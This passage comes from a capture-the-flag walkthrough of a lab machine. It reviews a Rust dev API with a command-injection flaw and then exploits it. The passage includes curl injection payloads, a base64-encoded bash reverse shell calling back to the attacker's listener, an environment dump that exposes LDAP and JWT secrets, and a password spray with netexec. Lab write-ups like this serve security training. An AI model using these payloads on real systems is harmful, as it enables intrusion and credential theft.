    <span class="n">now</span> <span class="o">+=</span> <span class="nn">Duration</span><span class="p">::</span><span class="nf">days</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">cookie</span><span class="nf">.set_expires</span><span class="p">(</span><span class="n">now</span><span class="p">);</span>

    <span class="n">cookies</span><span class="nf">.add</span><span class="p">(</span><span class="n">cookie</span><span class="p">);</span>

    <span class="nf">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div></div>
<p><br />
The Readme also mentions that <code class="language-plaintext highlighter-rouge">/api-dev</code> will be open until development is complete. Endpoints like these are typically implemented for ad-hoc debugging and quick fixes, often with little consideration for security. As a result they tend to hold excessive permissions and access.</p>

<h6 id="backendsrcapidevrs"><code class="language-plaintext highlighter-rouge">backend/src/api/dev.rs</code>:</h6>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">http</span><span class="p">::</span><span class="n">Status</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="n">Request</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">request</span><span class="p">::{</span><span class="n">FromRequest</span><span class="p">,</span> <span class="n">Outcome</span><span class="p">};</span>

<span class="k">pub</span><span class="p">(</span><span class="k">crate</span><span class="p">)</span> <span class="k">mod</span> <span class="n">scan</span><span class="p">;</span>

<span class="k">pub</span> <span class="k">struct</span> <span class="n">DevGuard</span><span class="p">;</span>

<span class="nd">#[rocket::async_trait]</span>
<span class="k">impl</span><span class="o">&lt;</span><span class="nv">'r</span><span class="o">&gt;</span> <span class="n">FromRequest</span><span class="o">&lt;</span><span class="nv">'r</span><span class="o">&gt;</span> <span class="k">for</span> <span class="n">DevGuard</span> <span class="p">{</span>
    <span class="k">type</span> <span class="n">Error</span> <span class="o">=</span> <span class="p">();</span>

    <span class="k">async</span> <span class="k">fn</span> <span class="nf">from_request</span><span class="p">(</span><span class="n">request</span><span class="p">:</span> <span class="o">&amp;</span><span class="nv">'r</span> <span class="n">Request</span><span class="o">&lt;</span><span class="nv">'_</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">Outcome</span><span class="o">&lt;</span><span class="k">Self</span><span class="p">,</span> <span class="k">Self</span><span class="p">::</span><span class="n">Error</span><span class="o">&gt;</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">key</span> <span class="o">=</span> <span class="n">request</span><span class="nf">.headers</span><span class="p">()</span><span class="nf">.get_one</span><span class="p">(</span><span class="s">"X-DEV-INTRANET-KEY"</span><span class="p">);</span>
        <span class="k">match</span> <span class="n">key</span> <span class="p">{</span>
            <span class="nf">Some</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
                <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">var</span><span class="p">(</span><span class="s">"DEV_INTRANET_KEY"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span> <span class="p">{</span>
                    <span class="nn">Outcome</span><span class="p">::</span><span class="nf">Success</span><span class="p">(</span><span class="n">DevGuard</span> <span class="p">{})</span>
                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                    <span class="nn">Outcome</span><span class="p">::</span><span class="nf">Error</span><span class="p">((</span><span class="nn">Status</span><span class="p">::</span><span class="n">Unauthorized</span><span class="p">,</span> <span class="p">()))</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="nb">None</span> <span class="k">=&gt;</span> <span class="nn">Outcome</span><span class="p">::</span><span class="nf">Error</span><span class="p">((</span><span class="nn">Status</span><span class="p">::</span><span class="n">Unauthorized</span><span class="p">,</span> <span class="p">()))</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p><br />
To access the API endpoints, the Intranet key must be included as an HTTP header <code class="language-plaintext highlighter-rouge">X-DEV-INTRANET-KEY</code>.</p>

<h6 id="backendsrcapidevscanrs"><code class="language-plaintext highlighter-rouge">/backend/src/api/dev/scan.rs</code>:</h6>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">process</span><span class="p">::</span><span class="n">Command</span><span class="p">;</span>

<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">serde</span><span class="p">::</span><span class="nn">json</span><span class="p">::</span><span class="n">Json</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">serde</span><span class="p">::</span><span class="n">Serialize</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">serde</span><span class="p">::</span><span class="n">Deserialize</span><span class="p">;</span>

<span class="k">use</span> <span class="k">crate</span><span class="p">::</span><span class="nn">api</span><span class="p">::</span><span class="nn">dev</span><span class="p">::</span><span class="n">DevGuard</span><span class="p">;</span>

<span class="nd">#[derive(Deserialize)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">ScanRequest</span> <span class="p">{</span>
    <span class="n">url</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>

<span class="nd">#[derive(Serialize)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">ScanResponse</span> <span class="p">{</span>
    <span class="n">is_safe</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="c1">// remove the following once the route is stable</span>
    <span class="n">temp_command_success</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="n">temp_command_stdout</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="n">temp_command_stderr</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>

<span class="c1">// Scans an url inside a blog post</span>
<span class="c1">// This will be called by the blog to ensure all URLs in posts are safe</span>
<span class="nd">#[post(</span><span class="s">"/scan"</span><span class="nd">,</span> <span class="nd">format</span> <span class="nd">=</span> <span class="s">"json"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">scan</span><span class="p">(</span><span class="n">_guard</span><span class="p">:</span> <span class="n">DevGuard</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">ScanRequest</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">ScanResponse</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="c1">// currently intranet_url_check is not implemented,</span>
    <span class="c1">// but the route exists for future compatibility with the blog</span>
    <span class="k">let</span> <span class="n">result</span> <span class="o">=</span> <span class="nn">Command</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"bash"</span><span class="p">)</span>
        <span class="nf">.arg</span><span class="p">(</span><span class="s">"-c"</span><span class="p">)</span>
        <span class="nf">.arg</span><span class="p">(</span><span class="nd">format!</span><span class="p">(</span><span class="s">"intranet_url_check {}"</span><span class="p">,</span> <span class="n">data</span><span class="py">.url</span><span class="p">))</span>
        <span class="nf">.output</span><span class="p">();</span>

    <span class="k">match</span> <span class="n">result</span> <span class="p">{</span>
        <span class="nf">Ok</span><span class="p">(</span><span class="n">output</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
            <span class="nf">Json</span><span class="p">(</span><span class="n">ScanResponse</span> <span class="p">{</span>
                <span class="n">is_safe</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
                <span class="n">temp_command_success</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
                <span class="n">temp_command_stdout</span><span class="p">:</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8</span><span class="p">(</span><span class="n">output</span><span class="py">.stdout</span><span class="p">)</span><span class="nf">.unwrap_or</span><span class="p">(</span><span class="s">""</span><span class="nf">.to_string</span><span class="p">()),</span>
                <span class="n">temp_command_stderr</span><span class="p">:</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8</span><span class="p">(</span><span class="n">output</span><span class="py">.stderr</span><span class="p">)</span><span class="nf">.unwrap_or</span><span class="p">(</span><span class="s">""</span><span class="nf">.to_string</span><span class="p">()),</span>
            <span class="p">})</span>
        <span class="p">}</span>
        <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="nf">Json</span><span class="p">(</span><span class="n">ScanResponse</span> <span class="p">{</span>
            <span class="n">is_safe</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
            <span class="n">temp_command_success</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span>
            <span class="n">temp_command_stdout</span><span class="p">:</span> <span class="s">""</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="n">temp_command_stderr</span><span class="p">:</span> <span class="s">""</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="p">})</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p><br />
There’s an under-development <code class="language-plaintext highlighter-rouge">/scan</code> endpoint for checking URLs in blog posts. The current implementation uses a Bash command. I’m not sure what <code class="language-plaintext highlighter-rouge">intranet_url_check</code> does, but it definitely looks injectable given POST data are included as part of the command.</p>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="intranet-api-command-injection">Intranet API Command Injection:</h3>

<p>The API takes a URL as JSON POST data. It returned an error since the <code class="language-plaintext highlighter-rouge">intranet_url_check</code> command does not exist.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://ghost.htb"}'</span>
<span class="cmd-output">
{"is_safe":true,"temp_command_success":true,"temp_command_stdout":"","temp_command_stderr":"bash: line 1: intranet_url_check: command not found\n"}
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Given its insecure implementation, OS commands can be appended after the URL, and the server would execute it and return the output.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://ghost.htb; whoami"}'</span>
<span class="cmd-output">
{"is_safe":true,"temp_command_success":true,"temp_command_stdout":"<span style="color: lightgreen;">root\n</span>","temp_command_stderr":"bash: line 1: intranet_url_check: command not found\n"}
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll send a base64-encoded revshell command:</p>

<p><code class="language-plaintext highlighter-rouge">$ curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://ghost.htb; echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkzLzgwMDEgMD4mMQ== | base64 -d | bash"}'</code></p>

<p>On my listener, it caught a root shell in a container:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.93] from (UNKNOWN) [10.129.231.105] 49780
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">root@36b733906694</span>:<span class="linux-path">/app</span><span class="linux-char">#</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=0(root) gid=0(root) groups=0(root)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="container-enumeration">Container Enumeration:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">36b733906694</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@36b733906694</span>:<span class="linux-path">/app</span><span class="linux-char">#</span></span> <span class="linux-bash">env</span>

<span class="linux-output">DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=4
RUST_VERSION=1.79.0
LC_CTYPE=C.UTF-8
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>An LDAP password is found stored as environment variables. It matched for <code class="language-plaintext highlighter-rouge">intranet_principal</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">netexec ldap 10.129.231.105 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success</span>
<span class="cmd-output">
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\kathryn.holland:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\cassandra.shelton:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\robert.steeves:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\florence.ramirez:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\justin.bradley:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\arthur.boyd:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\beth.clark:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\charles.gray:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\jason.taylor:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             <span style="color: lightgreen;">[+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j </span>
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\gitea_temp_principal:He!KA9oKVT3rL99j 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\kristen.rose:He!KA9oKVT3rL99j
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
